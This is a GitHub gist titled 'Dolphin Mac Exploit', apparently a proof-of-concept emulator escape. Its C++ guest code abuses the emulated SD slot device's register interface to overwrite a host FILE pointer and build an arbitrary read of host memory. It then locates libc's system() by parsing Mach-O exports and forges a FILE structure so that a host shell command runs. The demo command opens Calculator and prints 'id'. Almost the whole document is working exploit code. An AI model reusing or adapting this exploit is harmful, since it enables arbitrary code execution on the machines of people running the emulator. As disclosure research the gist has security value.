Skip to content

Instantly share code, notes, and snippets.

@hthh
Last active September 4, 2019 21:28
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hthh/502ae16db55612f64d3966769a154c3e to your computer and use it in GitHub Desktop.
Save hthh/502ae16db55612f64d3966769a154c3e to your computer and use it in GitHub Desktop.
Dolphin Mac Exploit
#include <stdint.h>
extern "C" {
// entry point
void my_main(void);
}
// types
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;
#define HW_IPC_PPCMSG 0xCD000000
#define HW_IPC_PPCCTRL 0xCD000004
#define HW_IPC_PPC_IRQFLAG 0xCD000030
#define INT_CAUSE_IPC_BROADWAY 0x40000000
#define IPC_CMD_OPEN 1
#define IPC_CMD_IOCTL 6
#define IPC_CMD_IOCTLV 7
#define IPC_REP_ASYNC 8
#define MODE_RW 3
#define IOCTL_WRITEHCR 0x01
#define IOCTL_READHCR 0x02
#define READ_MULTIPLE_BLOCK 0x12
#define IOCTLV_SENDCMD 0x07
// OS X FILE flags
#define OSX_SRD 0x0004 /* OK to read */
#define OSX_SOPT 0x0400 /* do fseek() optimisation */
#define OSX_SOFF 0x1000 /* set iff _offset is in fact correct */
// OS X Mach-O load commands
#define LC_SEGMENT_64 0x19
#define LC_DYLD_INFO_ONLY (0x22 | 0x80000000)
// we know out (virtual) memory is mapped at 0x2300000000 on OS X
#define OSX_MEMORY_BASE 0x2300000000ULL
// Utility functions
extern "C" {
void *memset(void *out, int c, u32 v) {
for (u32 i = 0; i < v; i++)
((char *)out)[i] = c;
return out;
}
}
int strequal(const char *a, const char *b) {
for (;;) {
if (*a != *b)
return 0;
if (*a == '\0')
return 1;
a++;
b++;
}
}
struct ipc_message { // see http://wiibrew.org/wiki/IOS
u32 cmd;
u32 ret;
u32 fd;
u32 arg[5];
u32 reserved[8];
} __attribute__((aligned(8)));
static u32 do_ipc_message_sync(volatile struct ipc_message *msg) {
*(volatile u32 *)HW_IPC_PPCMSG = (u32)msg;
*(volatile u32 *)HW_IPC_PPCCTRL = 0x7;
// wait for the async response (might not be the best approach)
while (msg->cmd != IPC_REP_ASYNC) {
// This is for the downcount - the JIT emits no code, but time
// advances 3 cycles per instruction.
for (int i = 0; i < 10; i++) {
asm volatile("sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; "
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; "
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; "
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; "
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; "
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; "
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; "
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; "
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; "
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync");
}
// Clear IPC interrupt flags
*(volatile u32 *)HW_IPC_PPCCTRL = 0x6;
}
return msg->ret;
}
static u32 open(const char *path, u32 mode) {
volatile struct ipc_message msg = {0};
msg.cmd = IPC_CMD_OPEN;
msg.arg[0] = (u32)path;
msg.arg[1] = mode;
return do_ipc_message_sync(&msg);
}
static u32 ioctl(u32 fd, u32 cmd, void *inbuf, u32 insize, void *outbuf,
u32 outsize) {
volatile struct ipc_message msg = {0};
msg.cmd = IPC_CMD_IOCTL;
msg.fd = fd;
msg.arg[0] = cmd;
msg.arg[1] = (u32)inbuf;
msg.arg[2] = insize;
msg.arg[3] = (u32)outbuf;
msg.arg[4] = outsize;
return do_ipc_message_sync(&msg);
}
struct ioctlv_buf {
void *ptr;
u32 size;
};
static u32 ioctlv(u32 fd, u32 param, u32 inputcount, u32 payloadcount,
struct ioctlv_buf *bufs) {
volatile struct ipc_message msg = {0};
msg.cmd = IPC_CMD_IOCTLV;
msg.fd = fd;
msg.arg[0] = param;
msg.arg[1] = inputcount;
msg.arg[2] = payloadcount;
msg.arg[3] = (u32)bufs;
return do_ipc_message_sync(&msg);
}
static u16 bswap(u16 x) { return __builtin_bswap16(x); }
static u32 bswap(u32 x) { return __builtin_bswap32(x); }
static u64 bswap(u64 x) { return __builtin_bswap64(x); }
template <typename value_type> struct host_value {
host_value() = default;
explicit host_value(value_type val) { *this = val; }
operator value_type() const { return bswap(raw); }
void operator=(value_type v) { raw = bswap(v); }
private:
value_type raw;
};
typedef uint8_t host_u8;
typedef host_value<uint16_t> host_u16;
typedef host_value<uint32_t> host_u32;
typedef host_value<uint64_t> host_u64;
typedef host_value<uint64_t> host_ptr;
// OS X specific code
struct osx_sbuf {
host_ptr _base;
host_u32 _size;
};
struct osx_FILE {
host_ptr _p;
host_u32 _r;
host_u32 _w;
host_u16 _flags;
host_u16 _file;
struct osx_sbuf _bf;
host_u32 _lbfsize;
host_ptr _cookie;
host_ptr _close;
host_ptr _read;
host_ptr _seek;
host_ptr _write;
struct osx_sbuf _ub;
host_ptr _extra;
host_u32 _ur;
host_u8 _ubuf[3];
host_u8 _nbuf[1];
struct osx_sbuf _lb;
host_u32 _blksize;
host_u64 _offset;
};
struct osx_pthread_mutex_t {
host_u8 opaque[0x40];
};
struct osx_mbstate_t {
union {
host_u8 _mbstate8[128];
host_u64 _mbstateL;
};
};
struct osx_FILEX {
host_ptr up;
struct osx_pthread_mutex_t fl_mutex;
host_u32 bits_orientation_counted;
osx_mbstate_t mbstate;
};
static u64 address_to_host(const void *p) {
return ((u32)p - 0x80000000) + OSX_MEMORY_BASE;
}
// IPC HLE interface wrappers
static void slot0_write(int fd, u32 reg, u32 val) {
u32 input[5] = {reg, 0, 0, 0, val};
ioctl(fd, IOCTL_WRITEHCR, &input, sizeof input, 0, 0);
}
static u32 slot0_read(int fd, u32 reg) {
u32 regnum = reg;
u32 value = 0;
ioctl(fd, IOCTL_READHCR, &regnum, sizeof regnum, &value, sizeof value);
return value;
}
static u64 slot0_read_fileptr(int fd) {
return slot0_read(fd, 129) + ((u64)slot0_read(fd, 130) << 32);
}
static void slot0_write_fileptr(int fd, u64 addr) {
slot0_write(fd, 129, (u32)addr);
slot0_write(fd, 130, (u32)(addr >> 32));
}
static u32 slot0_read_multiple_block(int fd, void *out, u32 offset,
u32 outsize) {
struct ioctlv_buf bufs[3] = {{0}};
bufs[1].ptr = out;
bufs[1].size = outsize;
u32 result = 0;
bufs[2].ptr = &result;
bufs[2].size = sizeof result;
struct {
u32 command;
u32 type;
u32 resp;
u32 arg;
u32 blocks;
u32 bsize;
void *addr;
u32 isDMA;
u32 pad0;
} req;
memset(&req, 0, sizeof req);
req.command = READ_MULTIPLE_BLOCK;
req.arg = offset;
req.addr = out;
req.bsize = 1;
req.blocks = outsize;
bufs[0].ptr = &req;
bufs[0].size = sizeof req;
return ioctlv(fd, IOCTLV_SENDCMD, 2, 1, bufs);
}
static void slot0_osx_read(int fd, void *out, u64 hostaddr, u32 size) {
osx_FILE file;
memset(&file, 0, sizeof file);
osx_FILEX extra;
memset(&extra, 0, sizeof extra);
file._extra = address_to_host(&extra);
file._flags = OSX_SOPT | OSX_SOFF | OSX_SRD;
file._seek = 1; // non-null
file._p = hostaddr;
file._bf._base = hostaddr;
file._offset = size + 1;
file._r = size + 1;
// replace the FILE* to point to our data
u64 saved_fileptr = slot0_read_fileptr(fd);
slot0_write_fileptr(fd, address_to_host(&file));
slot0_read_multiple_block(fd, out, 0, size);
// restore
slot0_write_fileptr(fd, saved_fileptr);
}
static u32 osx_read_u32(int fd, u64 addr) {
u32 r = 0;
slot0_osx_read(fd, &r, addr, sizeof r);
return bswap(r);
}
static u64 osx_read_ptr(int fd, u64 addr) {
u64 r = 0;
slot0_osx_read(fd, &r, addr, sizeof r);
return bswap(r);
}
// functions from dyld
static u32 read_uleb(u8 *&p, u8 *end) {
u32 result = 0;
int bit = 0;
do {
if (p == end)
return 0;
u8 slice = *p & 0x7f;
if (bit > 31) {
return 0;
} else {
result |= (slice << bit);
bit += 7;
}
} while (*p++ & 0x80);
return result;
}
static u8 *trie_walk(u8 *start, u8 *end, const char *s) {
u8 *p = start;
while (p != 0) {
u32 terminal_size = read_uleb(p, end);
if ((*s == '\0') && (terminal_size != 0)) {
return p;
}
u8 *children = p + terminal_size;
u8 children_remaining = *children++;
p = children;
u32 node_offset = 0;
for (; children_remaining > 0; --children_remaining) {
const char *ss = s;
u8 wrong_edge = false;
char c = *p;
while (c != '\0') {
if (!wrong_edge) {
if (c != *ss)
wrong_edge = true;
++ss;
}
++p;
c = *p;
}
if (wrong_edge) {
++p;
while ((*p & 0x80) != 0)
++p;
++p;
} else {
++p;
node_offset = read_uleb(p, end);
s = ss;
break;
}
}
if (node_offset != 0)
p = &start[node_offset];
else
p = 0;
}
return 0;
}
// mach-o parsing
static u64 find_system(int slot0, u64 libc_ptr) {
libc_ptr -= libc_ptr & 0xFFFF;
while (osx_read_u32(slot0, libc_ptr) != 0xFEEDFACF) {
libc_ptr -= 0x1000;
}
u64 libc_base = libc_ptr;
u32 ncmds = osx_read_u32(slot0, libc_base + 0x10);
u64 cmd_start = libc_base + 0x20;
u64 image_slide = 0;
u64 linkedit_slide = 0;
u32 exports_off = 0;
u32 exports_size = 0;
for (u32 cmdi = 0; cmdi < ncmds; cmdi++) {
u32 cmd = osx_read_u32(slot0, cmd_start);
u32 cmdsize = osx_read_u32(slot0, cmd_start + 4);
if (cmd == LC_SEGMENT_64) {
char sname[17] = {0};
slot0_osx_read(slot0, sname, cmd_start + 8, 16);
u64 vmaddr = osx_read_ptr(slot0, cmd_start + 0x18) + image_slide;
if (strequal(sname, "__TEXT")) {
image_slide = libc_base - vmaddr;
} else if (strequal(sname, "__LINKEDIT")) {
linkedit_slide = vmaddr - osx_read_ptr(slot0, cmd_start + 0x28);
}
} else if (cmd == LC_DYLD_INFO_ONLY) {
exports_off = osx_read_u32(slot0, cmd_start + 0x20 + 8);
exports_size = osx_read_u32(slot0, cmd_start + 0x24 + 8);
break;
}
cmd_start += cmdsize;
}
exports_size = exports_size < 0x10000 ? exports_size : 0x10000;
u8 exports[0x10000];
slot0_osx_read(slot0, exports, exports_off + linkedit_slide, exports_size);
u8 *p = trie_walk(exports, exports + exports_size, "_system");
if (!p)
return 0;
read_uleb(p, exports + exports_size);
return libc_ptr + read_uleb(p, exports + exports_size);
}
void my_main() {
// open the vulnerable device
int slot0 = open("/dev/sdio/slot0", MODE_RW);
u64 fileptr = slot0_read_fileptr(slot0);
osx_FILE leakedfile;
memset(&leakedfile, 0, sizeof leakedfile);
slot0_osx_read(slot0, &leakedfile, fileptr, sizeof leakedfile);
u64 system_ptr = find_system(slot0, leakedfile._read);
if (!system_ptr)
return;
// create a fake file structure which will run
// our commands on "fseek"
const char *cmdstring = "open -a Calculator ; "
"echo 'success! running shell commands as:' ; id";
// out-of-bounds write will replace a file pointer
// create some fake file objects
osx_FILE file;
memset(&file, 0, sizeof file);
osx_FILEX extra;
memset(&extra, 0, sizeof extra);
file._extra = address_to_host(&extra);
file._cookie = address_to_host(cmdstring);
file._seek = system_ptr;
u64 saved_fileptr = slot0_read_fileptr(slot0);
slot0_write_fileptr(slot0, address_to_host(&file));
u32 ignored;
slot0_read_multiple_block(slot0, &ignored, 0x1234, sizeof ignored);
// restore
slot0_write_fileptr(slot0, saved_fileptr);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment